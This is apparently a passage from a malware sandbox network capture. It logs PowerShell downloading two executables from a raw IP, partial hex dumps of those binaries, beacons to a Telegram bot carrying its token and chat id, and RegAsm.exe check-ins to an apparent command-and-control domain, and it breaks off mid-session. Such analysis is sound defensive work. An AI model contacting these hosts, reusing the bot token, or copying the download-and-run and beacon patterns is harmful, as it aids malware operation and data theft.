Dec 27, 2024 22:33:10.208444118 CET	1236	IN	Data Raw: 0f b6 14 0a 3a 14 0e 75 0b 41 39 4c 24 1c 75 ec 8b 4c 24 1c 39 c1 76 2e 3b 4c 24 1c 74 3c 8b 44 24 14 01 c8 8b 74 24 54 0f b6 94 06 8f 00 00 00 88 54 24 03 0f b6 84 06 90 00 00 00 88 44 24 20 89 7c 24 08 89 c8 8b 4c 24 2c f7 d9 8b 7c 24 14 89 ce Data Ascii: :uA9L$uL$9v.;L$t<D$t$TT$D$ \|$L$,\|$\|$D$\|$\$ u9tD$$t{svl$TM(U<\$ ELU<)M(AU(JE(U,M8=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49744	147.45.44.131	80	6588	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:09.281054974 CET	181	OUT	GET /infopage/ubvsd.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Dec 27, 2024 22:33:10.585994005 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:05:52 GMT ETag: "8e00-62a0cfe2cdd29" Accept-Ranges: bytes Content-Length: 36352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0 @ `O H.text `.rsrc@@.reloc@BHD"h0ss(oooooi(oiiYii(oio ,o,o,o(t0(((o(*0rpss o!rsp~(o"&o!rs
Dec 27, 2024 22:33:10.586047888 CET	1236	IN	Data Raw: 70 7e 01 00 00 04 28 02 00 00 06 6f 22 00 00 0a 26 07 17 6f 23 00 00 0a 07 17 8d 22 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 24 00 00 0a 6f 25 00 00 0a 72 3a 74 00 70 7e 01 00 00 04 28 02 00 00 06 6f 26 00 00 0a 72 94 74 00 70 7e 01 Data Ascii: p~(o"&o#"%~(o$o%r:tp~(o&rtp~(o'o(&((((j(rtp(oBSJBv4.0.30319l#~,P#Strings\|(u#US~
Dec 27, 2024 22:33:10.586066008 CET	1236	IN	Data Raw: 00 42 69 74 56 65 63 74 6f 72 33 32 00 67 32 00 70 32 00 43 6f 6e 73 6f 6c 65 41 70 70 31 36 37 00 67 65 74 5f 55 54 46 38 00 3c 4d 6f 64 75 6c 65 3e 00 73 65 74 5f 49 56 00 6d 73 63 6f 72 6c 69 62 00 41 64 64 00 53 79 73 74 65 6d 2e 43 6f 6c 6c Data Ascii: BitVector32g2p2ConsoleApp167get_UTF8<Module>set_IVmscorlibAddSystem.Collections.SpecializedGetMethodCompileAssemblyFromSourceset_ModePaddingModeCipherModeInvokeIDisposableSystem.Net.MimeGetTypeSystem.CoreMethodBaseDispose
Dec 27, 2024 22:33:10.586179018 CET	1236	IN	Data Raw: 6e 76 65 72 74 00 53 79 73 74 65 6d 2e 54 65 78 74 00 49 6d 67 6c 73 77 00 41 72 72 61 79 00 73 65 74 5f 4b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 73 Data Ascii: nvertSystem.TextImglswArrayset_KeySystem.Security.Cryptographyget_CompiledAssemblyCopyset_GenerateInMemorys7eV61nHmqYXSS+ryCq4pt/5Wpqq5HxdeLHXTEHvwc/zpyD/XGm2DyHLr95ry
Dec 27, 2024 22:33:10.586194992 CET	1236	IN	Data Raw: 00 32 00 59 00 43 00 51 00 32 00 6c 00 4b 00 71 00 73 00 49 00 77 00 61 00 43 00 7a 00 59 00 6e 00 4c 00 75 00 5a 00 34 00 74 00 6d 00 49 00 56 00 79 00 4a 00 77 00 34 00 57 00 36 00 55 00 68 00 6c 00 49 00 72 00 64 00 74 00 4f 00 70 00 72 00 2b Data Ascii: 2YCQ2lKqsIwaCzYnLuZ4tmIVyJw4W6UhlIrdtOpr+tNdW3vqkhU8XyaXCKs9GA8lM8UCFkZ+kiJGJspAPSPXC0FjSGpiIs5LRtws1CW+PuXqQ2Lpvd5ZUsFST
Dec 27, 2024 22:33:10.586210966 CET	1236	IN	Data Raw: 00 31 00 6e 00 71 00 5a 00 74 00 55 00 31 00 44 00 44 00 6a 00 54 00 61 00 4c 00 64 00 45 00 79 00 79 00 57 00 42 00 31 00 76 00 4d 00 73 00 4a 00 41 00 30 00 70 00 79 00 78 00 39 00 51 00 4e 00 39 00 75 00 68 00 34 00 64 00 49 00 54 00 50 00 70 Data Ascii: 1nqZtU1DDjTaLdEyyWB1vMsJA0pyx9QN9uh4dITPp8I6d+YKrfTb7W4lSia7zPzzCvXV1QXwclyuVeIcDXENvlXiOTChtQwxDxxwihXPmvksDBkeZ47M4LuWf
Dec 27, 2024 22:33:10.586226940 CET	1236	IN	Data Raw: 00 6e 00 49 00 64 00 69 00 49 00 31 00 66 00 76 00 67 00 45 00 2f 00 46 00 56 00 43 00 50 00 30 00 42 00 64 00 44 00 33 00 5a 00 6c 00 59 00 57 00 55 00 46 00 57 00 48 00 63 00 6d 00 53 00 43 00 36 00 69 00 62 00 37 00 59 00 43 00 39 00 32 00 38 Data Ascii: nIdiI1fvgE/FVCP0BdD3ZlYWUFWHcmSC6ib7YC928Snb4pmK+09Q/K9A/3a+N7D4aS9hBaaMMJJAbNljQ5jC1C7oHlHK2qCyZO0JW+0MQQ8xS0wRokTNqLcQY
Dec 27, 2024 22:33:10.586314917 CET	1236	IN	Data Raw: 00 66 00 32 00 53 00 43 00 6c 00 33 00 2f 00 66 00 77 00 75 00 79 00 7a 00 38 00 6a 00 57 00 68 00 65 00 67 00 67 00 61 00 64 00 42 00 39 00 74 00 48 00 76 00 43 00 75 00 32 00 35 00 38 00 50 00 70 00 62 00 77 00 62 00 6d 00 54 00 47 00 62 00 53 Data Ascii: f2SCl3/fwuyz8jWheggadB9tHvCu258PpbwbmTGbScusJ8xJdj8IKvuMC/4EalA1ZtOXh/vKttGCA4iE614YiPzQ7aLufYd1GgMcVnNFZo+UKnEAgzEJ8XIU8
Dec 27, 2024 22:33:10.586342096 CET	1236	IN	Data Raw: 00 63 00 44 00 69 00 4b 00 71 00 65 00 68 00 46 00 30 00 39 00 44 00 70 00 6b 00 53 00 4e 00 75 00 63 00 6e 00 71 00 58 00 2b 00 4b 00 41 00 44 00 65 00 32 00 4c 00 4a 00 4b 00 4a 00 37 00 4b 00 5a 00 68 00 71 00 58 00 63 00 72 00 67 00 6c 00 38 Data Ascii: cDiKqehF09DpkSNucnqX+KADe2LJKJ7KZhqXcrgl8C+uA/GJXNUWfMINuDpYSodeVzEe1eAVeNUAA64qRkyuVLALwIo6WeeYPVMBgUhUYxehi7Y3CUl1uogLy
Dec 27, 2024 22:33:10.586359024 CET	1236	IN	Data Raw: 00 4c 00 64 00 4e 00 4b 00 79 00 6c 00 64 00 43 00 43 00 6b 00 71 00 43 00 36 00 5a 00 45 00 4b 00 44 00 6c 00 50 00 47 00 47 00 47 00 64 00 50 00 44 00 46 00 58 00 79 00 44 00 4b 00 77 00 50 00 66 00 30 00 49 00 47 00 57 00 53 00 4a 00 4c 00 36 Data Ascii: LdNKyldCCkqC6ZEKDlPGGGdPDFXyDKwPf0IGWSJL6q3pdhHOBNGwcY2OdQRyW70wjHfHtO3V8aJKMbDXzScF3Ge4xJ4zqp8We6gIkq/2e+6Fi5OyP7Z/rgGgQ
Dec 27, 2024 22:33:10.705765963 CET	1236	IN	Data Raw: 00 33 00 7a 00 2b 00 54 00 78 00 57 00 4b 00 4c 00 64 00 6f 00 55 00 6d 00 42 00 72 00 62 00 70 00 79 00 56 00 42 00 4d 00 42 00 39 00 37 00 72 00 6e 00 4f 00 33 00 33 00 74 00 38 00 33 00 7a 00 46 00 57 00 7a 00 66 00 4b 00 39 00 41 00 56 00 4f Data Ascii: 3z+TxWKLdoUmBrbpyVBMB97rnO33t83zFWzfK9AVODGzwWgKb2eVBdJ7ZjxefMH6k4JgJUPzJdCaRZJ8Ll9n5aPg9LVzBWkaWlEeUErissFw0KrZmHJDeYYUV
Dec 27, 2024 22:33:12.571594000 CET	157	OUT	GET /infopage/hgfpj.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Dec 27, 2024 22:33:12.982350111 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 16:22:08 GMT ETag: "4c000-62a1aa1957b5c" Accept-Ranges: bytes Content-Length: 311296 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYig@p@;0\;=.text `.rdata "@@.data8PT0@.reloc\;0<@B

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	149.154.167.220	443	6512	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:32:57 UTC	328	OUT	POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: api.telegram.org Content-Length: 0 Connection: Keep-Alive
2024-12-27 21:32:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 27 Dec 2024 21:32:58 GMT Content-Type: application/json Content-Length: 250 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-27 21:32:58 UTC	250	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 38 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 35 33 35 36 39 36 36 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 74 75 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 74 75 6b 6c 6f 61 64 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 36 35 34 30 31 36 32 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 6c 69 7a 61 62 65 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 54 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 35 33 33 35 31 37 38 2c 22 74 65 78 74 22 3a 22 46 69 6c 65 53 74 61 72 74 65 64 21 22 7d 7d Data Ascii: {"ok":true,"result":{"message_id":1881,"from":{"id":7453569667,"is_bot":true,"first_name":"Stuk","username":"stukloader_bot"},"chat":{"id":7654016235,"first_name":"Elizabet","last_name":"Te","type":"private"},"date":1735335178,"text":"FileStarted!"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	149.154.167.220	443	5300	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:32:57 UTC	328	OUT	POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: api.telegram.org Content-Length: 0 Connection: Keep-Alive
2024-12-27 21:32:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 27 Dec 2024 21:32:58 GMT Content-Type: application/json Content-Length: 250 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-27 21:32:58 UTC	250	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 38 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 35 33 35 36 39 36 36 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 74 75 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 74 75 6b 6c 6f 61 64 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 36 35 34 30 31 36 32 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 6c 69 7a 61 62 65 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 54 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 35 33 33 35 31 37 38 2c 22 74 65 78 74 22 3a 22 46 69 6c 65 53 74 61 72 74 65 64 21 22 7d 7d Data Ascii: {"ok":true,"result":{"message_id":1880,"from":{"id":7453569667,"is_bot":true,"first_name":"Stuk","username":"stukloader_bot"},"chat":{"id":7654016235,"first_name":"Elizabet","last_name":"Te","type":"private"},"date":1735335178,"text":"FileStarted!"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49731	149.154.167.220	443	3752	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:32:57 UTC	328	OUT	POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: api.telegram.org Content-Length: 0 Connection: Keep-Alive
2024-12-27 21:32:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 27 Dec 2024 21:32:58 GMT Content-Type: application/json Content-Length: 250 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-27 21:32:58 UTC	250	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 38 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 35 33 35 36 39 36 36 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 74 75 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 74 75 6b 6c 6f 61 64 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 36 35 34 30 31 36 32 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 6c 69 7a 61 62 65 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 54 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 35 33 33 35 31 37 38 2c 22 74 65 78 74 22 3a 22 46 69 6c 65 53 74 61 72 74 65 64 21 22 7d 7d Data Ascii: {"ok":true,"result":{"message_id":1882,"from":{"id":7453569667,"is_bot":true,"first_name":"Stuk","username":"stukloader_bot"},"chat":{"id":7654016235,"first_name":"Elizabet","last_name":"Te","type":"private"},"date":1735335178,"text":"FileStarted!"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	149.154.167.220	443	7476	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:32:59 UTC	328	OUT	POST /bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted! HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: api.telegram.org Content-Length: 0 Connection: Keep-Alive
2024-12-27 21:33:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 27 Dec 2024 21:33:00 GMT Content-Type: application/json Content-Length: 250 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-27 21:33:00 UTC	250	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 38 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 34 35 33 35 36 39 36 36 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 74 75 6b 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 74 75 6b 6c 6f 61 64 65 72 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 36 35 34 30 31 36 32 33 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 45 6c 69 7a 61 62 65 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 54 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 35 33 33 35 31 38 30 2c 22 74 65 78 74 22 3a 22 46 69 6c 65 53 74 61 72 74 65 64 21 22 7d 7d Data Ascii: {"ok":true,"result":{"message_id":1883,"from":{"id":7453569667,"is_bot":true,"first_name":"Stuk","username":"stukloader_bot"},"chat":{"id":7654016235,"first_name":"Elizabet","last_name":"Te","type":"private"},"date":1735335180,"text":"FileStarted!"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	104.21.60.24	443	6424	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fivenaii.click
2024-12-27 21:33:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 21:33:13 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2oph71c3sel71hso5odme3vt2c; expires=Tue, 22 Apr 2025 15:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OmmJp%2FhlSuL%2FWCgaV1aeg%2FAJcRYnFkomkjVteC%2FJUTrKCDnwoDwYIRYBMAUBtatrck3AIrXy9bBj1yKdLqyf76lNr%2BungG0tbesXn9o%2FhZ%2FgqmV6kwjZLKQgn37Xlcxrbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d7efad55e6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1673&rtt_var=644&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=905&delivery_rate=1677197&cwnd=237&unsent_bytes=0&cid=47209a9686d52d27&ts=776&x=0"
2024-12-27 21:33:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 21:33:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49746	104.21.60.24	443	7552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fivenaii.click
2024-12-27 21:33:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 21:33:14 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1234ibl11t21ig4k2evuak9dlc; expires=Tue, 22 Apr 2025 15:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=94yZa9yPcGyva%2FTXafhMQLPhzNrD1Lxj138RE1fRMIjqG%2BU2LkhJC79RhhJOZo5Fk1mReMi6agnW6atyMm20uQZXaZyLpcaktaCUcjKK7U0%2Fl9ILT5tztT%2FC5bLRl5uk9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d7fbff243d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1916&min_rtt=1911&rtt_var=727&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1493606&cwnd=236&unsent_bytes=0&cid=09b7c63d55555585&ts=1007&x=0"
2024-12-27 21:33:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 21:33:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fivenaii.click
2024-12-27 21:33:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 21:33:14 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6bk1tb5m6ch4l3l8cgea5cak5c; expires=Tue, 22 Apr 2025 15:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2B8bQBl4vJwNEi%2F%2BUPBzWPJgMcdrT4NlT6uNSvBO2Id66hmzYqoWV29t8%2Fy8V9ojgWiXt8lQgAN8sL%2FACeWlORaNFEzo52q1GI%2FZ57aLUeEhJ4hT7ZNUfYpCtdBOeQItVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6d7fec4e8ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2130&min_rtt=2030&rtt_var=961&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=905&delivery_rate=1031802&cwnd=162&unsent_bytes=0&cid=a364ae49f83ee0b6&ts=988&x=0"
2024-12-27 21:33:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 21:33:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: fivenaii.click
